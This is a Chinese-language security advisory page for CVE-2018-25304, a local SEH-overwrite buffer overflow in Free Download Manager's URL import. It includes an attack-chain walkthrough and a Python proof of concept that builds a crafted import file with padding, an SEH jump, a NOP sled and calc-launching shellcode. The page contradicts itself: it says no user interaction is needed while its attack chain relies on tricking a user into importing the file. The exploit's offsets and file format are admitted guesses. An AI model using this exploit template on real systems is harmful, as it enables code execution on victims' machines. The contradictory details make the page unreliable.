IPBUF安全漏洞报告
English
CVE-2018-25304 CVSS 8.4 高危

CVE-2018-25304 Free Download Manager本地缓冲区溢出漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2018-25304
漏洞类型
缓冲区溢出
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Free Download Manager

相关标签

缓冲区溢出SEH覆盖Free Download Manager本地代码执行CVE-2018-25304

漏洞概述

Free Download Manager 2.0 Built 417版本存在本地缓冲区溢出漏洞。该漏洞位于URL导入功能中,攻击者通过构造特制的恶意URL文件并诱导用户导入,可触发Location header响应中的缓冲区溢出。利用该漏洞可覆盖SEH链,进而导致执行任意代码,造成系统被完全控制。

技术细节

该漏洞源于Free Download Manager 2.0 Built 417在处理URL导入列表时,对Location header响应数据的缓冲区边界检查不足。攻击者可构造特制的URL文件,其中包含精心设计的填充数据和Shellcode。当用户通过“File > Import”菜单导入该文件时,程序会解析Location header,导致栈溢出。利用该漏洞的关键在于覆盖结构化异常处理(SEH)链。攻击者通过溢出覆盖SEH记录的Next SEH和Handler字段,将异常处理流程劫持到注入的Shellcode中。由于无需用户交互且无需认证,攻击者可借此在本地系统执行任意代码,完全控制受害主机。

攻击链分析

STEP 1
侦察与分析
攻击者分析Free Download Manager的二进制文件,确定URL导入功能中Location header处理的缓冲区大小及SEH结构偏移。
STEP 2
构造恶意文件
攻击者编写脚本生成特制的URL文件,填充垃圾数据以覆盖SEH链,并插入指向Shellcode的指针和恶意载荷。
STEP 3
投递与执行
攻击者将生成的恶意文件放置在目标系统上,诱导受害者或利用自动执行机制通过软件的“File > Import”菜单导入该文件。
STEP 4
触发溢出
软件解析导入文件时,Location header的超长数据触发缓冲区溢出,覆盖结构化异常处理链。
STEP 5
劫持控制流
程序发生异常时,攻击者控制的SEH处理程序被调用,执行流程跳转至Payload,最终执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import sys # PoC Generator for CVE-2018-25304 # Vulnerability: Buffer Overflow in URL Import functionality # Trigger: Importing a crafted file containing a malicious Location header # Offsets and addresses (Example values, require debugging for exact targets) offset = 1000 # nSEH: Short jump to skip the SEH handler address and land on shellcode nseh = b"\xeb\x06\x90\x90" # SEH: Address of a pop pop ret instruction (universal or module specific) seh = b"\xaf\x11\x50\x62" # Example Shellcode (e.g., calc.exe) shellcode = b"\x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0" # Construct the payload buffer = b"A" * offset buffer += nseh buffer += seh buffer += b"\x90" * 32 # NOP sled buffer += shellcode # Generate the malicious file format expected by FDM # The overflow occurs when parsing the Location header header = b"[InternetShortcut]\r\nURL=http://example.com\r\n" filename = "exploit_fdm.txt" with open(filename, "wb") as f: # Inject payload into the Location field f.write(header + b"Location=" + buffer) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Import this file via File > Import > Import lists of downloads to trigger.")

影响范围

Free Download Manager 2.0 Built 417

防御指南

临时缓解措施
建议用户暂停从不可信来源导入URL下载列表。在未安装补丁前,应限制该软件的文件读写权限,并仅在沙箱环境中运行。同时,可通过系统级DEP(数据执行保护)来增加利用难度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表